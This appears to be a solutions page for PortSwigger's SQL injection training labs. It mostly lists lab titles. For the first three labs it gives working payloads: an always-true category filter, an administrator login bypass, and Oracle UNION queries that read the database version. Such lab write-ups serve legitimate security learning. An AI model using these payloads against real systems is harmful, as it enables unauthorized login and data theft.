SQLi labs Solution
The page linked below shows a simple setup to start learning SQL and testing SQL injection payloads locally. One of the biggest things you can do to catapult your learning and experience is to set thi
Labs list
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
PortSwigger | free | easy | link to lab
Solution
1. Click on a search item such as gifts
2. Modify the query to include your payload
/filter?category=Gifts' or 1='1
3. Send the requestSQL injection vulnerability allowing login bypass
PortSwigger | free | easy | link to lab
Solution
1. Browse to the login page
2. Enter your payload into the username box
administrator' or 1=1-- -
3. Enter any password
4. Click Log inSQL injection attack, querying the database type and version on Oracle
PortSwigger | free | easy | link to lab
Solution
1. Select one of the filters to refine the search
2. Test for UNION attack
' UNION SELECT null FROM dual--
' UNION SELECT null,null FROM dual--
3. Select the database version
' UNION SELECT banner,null FROM v$version--SQL injection attack, querying the database type and version on MySQL and Microsoft
PortSwigger | free | easy | link to lab
SQL injection attack, listing the database contents on non-Oracle databases
PortSwigger | free | easy | link to lab
SQL injection attack, listing the database contents on Oracle
PortSwigger | free | easy | link to lab
SQL injection UNION attack, determining the number of columns returned by the query
PortSwigger | free | easy | link to lab
SQL injection UNION attack, finding a column containing text
PortSwigger | free | easy | link to lab
SQL injection UNION attack, retrieving data from other tables
PortSwigger | free | easy | link to lab
SQL injection UNION attack, retrieving multiple values in a single column
PortSwigger | free | easy | link to lab
Blind SQL injection with conditional responses
PortSwigger | free | medium | link to lab
Blind SQL injection with conditional errors
PortSwigger | free | medium | link to lab
Visible error-based SQL injection
PortSwigger | free | medium | link to lab
Blind SQL injection with time delays
PortSwigger | free | medium | link to lab
Blind SQL injection with time delays and information retrieval
PortSwigger | free | medium | link to lab
Blind SQL injection with out-of-band interaction
PortSwigger | free | medium | link to lab
Blind SQL injection with out-of-band data exfiltration
PortSwigger | free | medium | link to lab
SQL injection with filter bypass via XML encoding
PortSwigger | free | medium | link to lab
Last updated